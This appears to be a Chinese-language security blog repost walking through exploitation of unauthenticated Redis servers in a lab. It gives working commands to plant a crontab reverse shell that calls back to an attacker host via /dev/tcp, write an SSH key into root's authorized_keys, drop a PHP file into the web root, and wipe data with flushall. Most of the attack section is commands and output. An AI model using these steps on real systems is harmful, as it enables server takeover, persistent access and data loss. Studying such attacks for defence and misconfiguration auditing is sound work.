zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    原作者:Cream
    文章出处: 贝塔安全实验室

    0x01 Redis未授权访问反弹shell

    Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

    Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

    1. 安装redis

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar -xvzf redis-3.2.0.tar.gz
    cd redis-3.2.0
    make
    

    1.2 修改配置文件

    vim redis.conf
    bind 127.0.0.1前面加上#号       # bind 202.139.21.100
    protected-mode设为no 
    启动redis-server     ./src/redis-server redis-conf
    

    默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

    1.3 攻击利用

    1.3.1 redis基本命令
    连接redis:
    redis-cli -h 192.168.63.130
    
    查看redis版本信息、一些具体信息、服务器版本信息等等:
    192.168.63.130:6379>info
    
    将变量x的值设为test:
    192.168.63.130:6379>set x "test"
    
    获取设置的某个变量的值:
    192.168.63.130:6379>get x
    
    `flushall`是把整个redis数据库删除,一般情况下不要用!!!
    192.168.63.130:6379>flushall
    
    查看所有键:
    192.168.63.130:6379>KEYS *
    
    获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
    192.168.63.130:6379>CONFIG GET dir
    192.168.63.130:6379>CONFIG GET dbfilename
    
    1.3.2.利用计划任务执行命令反弹shell

    在redis以root权限运行时可以写crontab来执行命令反弹shell

    先在自己的服务器上监听一个端口
    nc -lvnp 7999
    
    然后执行命令:
    root@kali:~# redis-cli -h 192.168.63.130
    
    192.168.63.130:6379> set  xx   "
    * * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1
    "
    OK
    
    192.168.63.130:6379> config set dir /var/spool/cron/
    OK
    
    192.168.63.130:6379> config set dbfilename root
    OK
    
    192.168.63.130:6379> save
    OK
    

    nc监听端口已经反弹回来shell

    1.4 Redis的其他应用

    如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

    1.4.1 写ssh-keygen公钥然后使用私钥登录

    利用条件:
    a.Redis服务使用ROOT账号启动

    b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

    操作流程:

    Step 1:首先在本地生成一对密钥:

    root@kali:~/.ssh# ssh-keygen -t rsa
    

    查看密钥:

    然后在redis执行命令

    192.168.63.130:6379> config set dir /root/.ssh/
    OK
    192.168.63.130:6379> config set dbfilename authorized_keys
    OK
    192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
    OK
    192.168.63.130:6379> save
    OK
    

    之后直接使用公钥登录即可

    1.4.2 往web物理路径(document root)写webshell

    当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

    192.168.63.130:6379> config set dir /var/www/html/
    OK
    192.168.63.130:6379> config set dbfilename shell.php
    OK
    192.168.63.130:6379> set x "<?php phpinfo();?>"
    OK
    192.168.63.130:6379> save
    OK
    

    即可将shell写入web目录(web目录根据实际情况)

    0x02 参考链接

    反弹shell的学习总结

  • 相关阅读:
    Spring Boot 之Profile
    Spring Security初识
    Github使用进阶
    数据库JDBC
    Java内存模型(JMM)的可见性
    Spring Boot 整合Spring Data JPA
    Git版本控制工具初识
    Linux美化——终端提示符
    Python's Exception 层级结构
    试写Python内建函数range()
  • 原文地址:https://www.cnblogs.com/-mo-/p/11487797.html
Copyright © 2011-2022 走看看